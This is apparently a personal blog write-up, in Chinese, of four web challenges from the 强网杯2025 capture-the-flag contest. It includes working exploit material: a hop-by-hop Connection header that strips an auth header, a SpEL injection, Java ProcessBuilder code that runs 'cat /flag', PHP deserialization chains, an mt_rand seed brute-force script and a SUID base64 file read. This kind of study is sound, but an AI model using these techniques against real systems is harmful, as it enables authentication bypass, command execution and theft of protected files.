强网杯2025wp

前言

被薄纱了,web只出了最简单的三题,做php的时候是真被绕晕了….

SecretVault

这题实现了一个密码本的功能,go实现一个代理,后端用python

首先找flag在哪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if not User.query.first():
salt = secrets.token_bytes(16)
password = secrets.token_bytes(32).hex()
password_hash = hash_password(password, salt)
user = User(
id=0,
username='admin',
password_hash=password_hash,
salt=base64.b64encode(salt).decode('utf-8'),
)
db.session.add(user)
db.session.commit()

flag = open('/flag').read().strip()
flagEntry = VaultEntry(
user_id=user.id,
label='flag',
login='flag',
password_encrypted=fernet.encrypt(flag.encode('utf-8')).decode('utf-8'),
notes='This is the flag entry.',
)
db.session.add(flagEntry)
db.session.commit()

flag就在admin的密码里,所以想那道flag就必须以admin登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route('/dashboard')
@login_required
def dashboard():
user = g.current_user
entries = [
{
'id': entry.id,
'label': entry.label,
'login': entry.login,
'password': fernet.decrypt(entry.password_encrypted.encode('utf-8')).decode('utf-8'),
'notes': entry.notes,
'created_at': entry.created_at,
}
for entry in user.vault_entries
]
return render_template('dashboard.html', username=user.username, entries=entries)

这个接口会展示该用户的所有密码,如果我们的身份是admin就可以访问到flag,分析一下鉴权方式,显然是在装饰器login_required里面校验的用户身份

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def login_required(view_func):
@wraps(view_func)
def wrapped(*args, **kwargs):
uid = request.headers.get('X-User', '0')
print(uid)
if uid == 'anonymous':
flash('Please sign in first.', 'warning')
return redirect(url_for('login'))
try:
uid_int = int(uid)
except (TypeError, ValueError):
flash('Invalid session. Please sign in again.', 'warning')
return redirect(url_for('login'))
user = User.query.filter_by(id=uid_int).first()
if not user:
flash('User not found. Please sign in again.', 'warning')
return redirect(url_for('login'))

g.current_user = user
return view_func(*args, **kwargs)

return wrapped

不难注意到

1
uid = request.headers.get('X-User', '0')

uid的从X-User头获取,如果没获取到就设置为0而0就代表admin,那么漏洞点很明显了,接下来只需要找到一个办法,让后端获取不到X-User,显然需要从代理入手,代理设置X-User的方式如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
authorizer := &httputil.ReverseProxy{Director: func(req *http.Request) {
req.URL.Scheme = "http"
req.URL.Host = "127.0.0.1:5000"

uid := GetUIDFromRequest(req)
log.Printf("Request UID: %s, URL: %s", uid, req.URL.String())
req.Header.Del("Authorization")
req.Header.Del("X-User")
req.Header.Del("X-Forwarded-For")
req.Header.Del("Cookie")

if uid == "" {
req.Header.Set("X-User", "anonymous")
} else {
req.Header.Set("X-User", uid)
}
}}

没有什么明显的问题,这里可以拷打一下ai,找一下有没有什么办法让代理不转发请求头到后端

搜到了一篇2019年的文章

https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers?utm_source=chatgpt.com

简单来说,就是当你在Connection里面填加了一个请求头的名字,代理就不会把这个请求头转发到后端

如果我们Connection:X-User,那么代理就不会把X-User转发到后端,这样uid就会被设置为0

image-20251021202520978

bbjv

用jadx反编译jar包

image-20251019163923028

获取flag的逻辑很简单,System.getProperty(“user.home”)获取用户的主目录,返回主目录下的flag.txt文件

而flag在

image-20251019164059019

两种思路,rce,把flag.txt移动到用户的主目录下,或者更改用户的主目录到tmp

1
String result = this.evaluationService.evaluate(rule);

调用evaluate执行用户传入的rule

1
2
3
4
5
6
7
8
9
    public String evaluate(String expression) {
try {
Object result = this.parser.parseExpression(expression, new TemplateParserContext()).getValue(this.context);
return "Result: " + String.valueOf(result);
} catch (Exception e) {
return "Error: " + e.getMessage();
}
}
}

明显存在spel表达式注入

先尝试rce

1
#{T(java.lang.String)}

image-20251019165602847

测试了一下发现无论用啥都会返回找不到包,再阅读源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@Configuration
/* loaded from: app.jar:BOOT-INF/classes/com/ctf/gateway/config/SpelConfig.class */
public class SpelConfig {
@Bean({"systemProperties"})
public Properties systemProperties() {
return System.getProperties();
}

@Bean({"restrictedEvalContext"})
public EvaluationContext restrictedEvaluationContext(@Qualifier("systemProperties") Properties systemProperties) {
SimpleEvaluationContext simpleContext = SimpleEvaluationContext.forPropertyAccessors(new SecurePropertyAccessor()).build();
simpleContext.setVariable("systemProperties", systemProperties);
return simpleContext;
}
}

发现定义了一个名为systemProperties的 Bean,返回当前 JVM 的系统属性

定义了一个名为restrictedEvalContext的 Bean

创建SimpleEvaluationContext:这是一个受限的 SpEL 上下文(相比StandardEvaluationContext更安全),仅支持基本的表达式功能,限制了对复杂对象的访问,所以没办法rce了

而将systemProperties对象作为变量systemProperties放入上下文,使得 SpEL 表达式中可以通过#systemProperties引用系统属性

所以先看一下user.home

image-20251019170116771

更改user.home的值为/tmp

image-20251019170231800

拿到flag

yamcs

附件只有一个docker,感觉像找cve,搜一下yamcs

Yamcs 是一个开源软件框架 用于航天器的指挥和控制, 卫星、有效载荷、地面站 和地面设备。

image-20251019170653918

手册里提到了非常多的web接口

简单看了一下环境中的功能点,Algorithms接口可以编写java代码,他会执行代码并输出到out0

image-20251019170756581

尝试通过执行命令来获取flag

image-20251019171020573

报错了,原因是没有对应的包,只能使用 Java 内置的 ProcessBuilder 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
try {
// 执行命令:cat /flag
java.lang.ProcessBuilder pb = new java.lang.ProcessBuilder("/bin/sh", "-c", "cat /flag");
pb.redirectErrorStream(true); // 合并标准错误到标准输出,避免进程阻塞
java.lang.Process p = pb.start();

// 读取命令输出
java.io.BufferedReader reader = new java.io.BufferedReader(
new java.io.InputStreamReader(p.getInputStream(), java.nio.charset.StandardCharsets.UTF_8)
);
java.lang.StringBuilder sb = new java.lang.StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
sb.append(line).append("\n");
}

// 等待命令执行完成,获取退出码
int exitCode = p.waitFor();
sb.append("EXIT_CODE=").append(exitCode);

// 输出结果
out0.setStringValue(sb.toString());

} catch (java.io.IOException e) {
System.out.println("IOException: " + e.getMessage());
} catch (java.lang.InterruptedException e) {
System.out.println("Interrupted: " + e.getMessage());
}

image-20251019171335581

没报错了,看下输出结果

image-20251019171354952

拿到flag

ezphp(赛后)

这题比赛的时候被绕晕了,没做出来,赛后参考几个大佬的解法尝试复现了一下,总的来看这题就三步

第一步:上传一个文件,调用readflag进行文件包含

第二步:绕过文件上传的内容检测

第三步:suid提权

将源码精简一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class test {
public $readflag;
public $f;
public $key;

public function __construct() {
$this->readflag = new class {
public function __construct() {
echo "called upload\n";
}

public function __wakeup() {
phpinfo();
}

public function readflag() {
echo("define readflag\n");
function readflag(){
echo("called readflag\n");
}
}
};
}

public function __destruct() {
echo("called __destruct\n");
$func = $this->f;
$GLOBALS['filename'] = $this->readflag;

if ($this->key == 'class') {
new $func();
} else if ($this->key == 'func') {
$func();//readflag();
} else {
echo("else\n");
}
}
}

test类的构造函数中new了一个匿名类,匿名类的构造方法是一个文件上传,匿名类还有一个readflag方法,他定义了一个readflag函数,readflag函数会对上传的文件进行内容检测,然后include包含。

先来分析第一步,文件上传+触发readflag

想触发文件上传很简单,只要触发test类的构造方法就可以了,而触发readflag函数需要先调用匿名类的readflag方法,然后再调用readflag函数

我们只有两个地方能触发

1
2
3
4
5
if ($this->key == 'class') {
new $func();
} else if ($this->key == 'func') {
$func();
}

如果我们想通过$func();的方式来调用类里的函数,需要用到php的数组

也就是,如果存在一个类A,类A有一个readflag方法,我们可以通过如下方式调用这个readflag方法

1
2
3
$o = new A();
$func = [$o,"readflag"];
$func();

因为这题的匿名类是绑定到test类对象的readflag属性上的,我们就可以利用这个特性同时序列化多个对象来实现文件上传和包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$o1 = new test();
$o1->key = 'func';
$o1->f = 'readflag';

$o2 = new test();
$o2->key = 'func';
$o2->f = [&$o1->readflag,'readflag'];

$o3 = new test();
$o3-> key = 'func';
$o3-> f = [&$o1,'__construct'];

echo(serialize([$o3,$o2,$o1]);
//反序列化的时候,o3调用o1的构造方法,new一个匿名类,触发文件上传,o2调用匿名类的readflag方法定义了全局的readflag函数,o1调用全局的readflag函数,进行文件包含

但是这样你运行一下会发现有问题

image-20251022102436027

匿名类是不能被序列化的

解决方法也很简单,可以在序列化的时候先把test类的方法删掉,因为方法不会被序列化,或者可以先把每个对象的readflag属性赋值为0,反正我们反序列化的时候会调用$o1的构造方法,readflag会被重新赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$o1 = new test();
$o1->key = 'func';
$o1->f = 'readflag';
$o1->readflag = '0';

$o2 = new test();
$o2->key = 'func';
$o2->f = [&$o1->readflag,'readflag'];
$o2->readflag = '0';

$o3 = new test();
$o3-> key = 'func';
$o3-> f = [&$o1,'__construct'];
$o3->readflag = '0';

echo(serialize([$o3,$o2,$o1]);

以上是第一种方法,下面介绍看到的另一种的思路

既然可以利用[类名,方法名]的方式调用类的方法,那么匿名类有没有类名呢,如果有的话是不是就可以直接调用而不依赖readflag属性了

php的get_declared_classes()函数可以获取到当前的所有类对象

打印一下就可以看到

[140] => mysqli_stmt
[141] => PharException
[142] => Phar
[143] => PharData
[144] => PharFileInfo
[145] => class@anonymousE:\qwb2025\ez_php\test.php:9$0
[146] => test

class@anonymousE:\qwb2025\ez_php\test.php:9$0就是匿名类的类名,分析一下他的组成

class@anonymous是固定的,这里有一个小坑,如果你编码一下再输出就会发现它的格式

1
class%40anonymous%00E%3A%5Cqwb2025%5Cez_php%5Ctest.php%3A9%240

class@anonymous和路径之间有一个%00

最后的9是创建对象的代码的行号,$0是一个计数器

注意:经测试,如果是php7.3后面不是行号加上这个计数器,而是一串16进制数字

那么我们尝试一下利用这个类名来调用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$o1 = new test();
$o1->f = 'test';
$o1->key = 'class';
$o1->readflag = '0';

$o2 = new test();
$o2->f = ["class@anonymous\0E:\qwb2025\\ez_php\\test.php:9$0", 'readflag'];
$o2->key = 'func';
$o2->readflag = '0';

$o3 = new test();
$o3->f = 'readflag';
$o3->key = 'func';
$o3->readflag = '0';

echo(serialize([$obj1, $obj2, $obj3]));

这样也是可以的,但是注意要换成题目环境的匿名函数名,因为它的代码都在第一行,所以很容易得到(可以自己起个环境加个输出)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$o1 = new test();
$o1->f = 'test';
$o1->key = 'class';
$o1->readflag = '0';

$o2 = new test();
$o2->f = ["class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1$0", 'readflag'];
$o2->key = 'func';
$o2->readflag = '0';

$o3 = new test();
$o3->f = 'readflag';
$o3->key = 'func';
$o3->readflag = '0';

echo(serialize([$obj1, $obj2, $obj3]));

第一步就解决了,下面分析如果绕过内容检测,也有两种思路

思路一

文件上传的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public function __construct() {
if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
$time = date('Hi');
$filename = $GLOBALS['filename'];
$seed = $time . intval($filename);
mt_srand($seed);

$uploadDir = 'uploads/';
$files = glob($uploadDir . '*');
foreach ($files as $file) {
if (is_file($file)) unlink($file);
}

$randomStr = generateRandomString(8);
$newFilename = $time . '.' . $randomStr . '.jpg';
$GLOBALS['file'] = $newFilename;

$uploadedFile = $_FILES['file']['tmp_name'];
$uploadPath = $uploadDir . $newFilename;

if (system("cp " . $uploadedFile . " " . $uploadPath)) {
echo "success upload!";
} else {
echo "error";

}
}
}

检测并include的代码

1
2
3
4
5
6
7
8
9
10
if (isset($GLOBALS['file'])) {
$file = basename($GLOBALS['file']);
if (preg_match('/:\/\//', $file)) die("error");

$file_content = file_get_contents("uploads/" . $file);
if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
die("Illegal content detected in the file.");
}

include("uploads/" . $file);

在文件上传的时候会先删除uploads目录的文件,然后再cp到uploads目录

因为同一分钟类,文件名是相同的,那么我们就可以尝试条件竞争了

thread1上传文件 –> thread1清空目录 –> thread1写入文件 –> thread2上传文件 –> thread2清空目录 –> thread1内容检测 –> thread1检测通过 –> thread2写入文件 –> thread1文件包含

思路二:phar+gzip压缩

参考文章:https://fushuling.com/index.php/2025/07/30/%E5%BD%93include%E9%82%82%E9%80%85phar-deadsecctf2025-baby-web/

phar非常灵活,只要你有phar文件头,并且你的文件名有.phar字符串(不需要在尾部),php就可以把这个文件当成phar解析,并且是可以压缩的,压缩之后就没有<?php了,显然可以绕过内容检测,所以唯一的问题是怎么让文件名包含.phar

分析一下文件名的设置逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}
$time = date('Hi');
$filename = $GLOBALS['filename'];
$seed = $time . intval($filename);
mt_srand($seed);
$randomStr = generateRandomString(8);
$newFilename = $time . '.' . $randomStr . '.jpg';
$GLOBALS['file'] = $newFilename;

文件名是time.randomstr.jpg的格式

显然只需要让randomstr里面包含phar就行了,因为php的随机数是伪随机,这里的种子是我们可控的,所以我们可以找出哪个种子能生成包含phar的字符串

种子的构成是当前小时和分钟数+转成int之后全局的filename变量

而全局的filename变量的值是

1
$GLOBALS['filename'] = $this->readflag;

readflag属性又是可控的

所以我们只需要将爆出来的种子传给readflag,在析构的时候就可以传到filename变量,这里可以写一个非常简单的脚本来爆破一下,直接借鉴一下大佬的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

function getFilename()
{
date_default_timezone_set('Asia/Shanghai');
function generateRandomString($length = 8)
{
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = mt_rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}
$time = date('Hi');
for ($filename = 0; $filename < 2000000000; $filename++) {
$seed = $time . intval($filename);
mt_srand($seed);
$s = generateRandomString(8);
if (strpos($s, 'phar') === 0) {
echo "found: filename=$filename seed=$seed => $s\n";
return $filename;
}
}
}

echo(getFilename());



?>
1
2
found: filename=18112 seed=110718112 => pharktae
18112

注意设置时区,以我当前的时间为例,爆出来是18112,于是生成序列化数据的时候

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$o1 = new test();
$o1->f = 'test';
$o1->key = 'class';
$o1->readflag = '18112';

$o2 = new test();
$o2->f = ["class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1$0", 'readflag'];
$o2->key = 'func';
$o2->readflag = '0';

$o3 = new test();
$o3->f = 'readflag';
$o3->key = 'func';
$o3->readflag = '0';

echo(serialize([$obj1, $obj2, $obj3]));

对于最后一步的提权就是一个非常简单的suid提权,base64有s权限,直接执行base64 /flag就行了

总结与反思

php十分灵活,有各种各样的用法,做这种题比较考验耐心。这次比赛也让我对要审源码的题有了一点点体会

虽然没出


强网杯2025wp
http://example.com/2025/10/21/强网杯2025wp/
作者
onehang
发布于
2025年10月21日
许可协议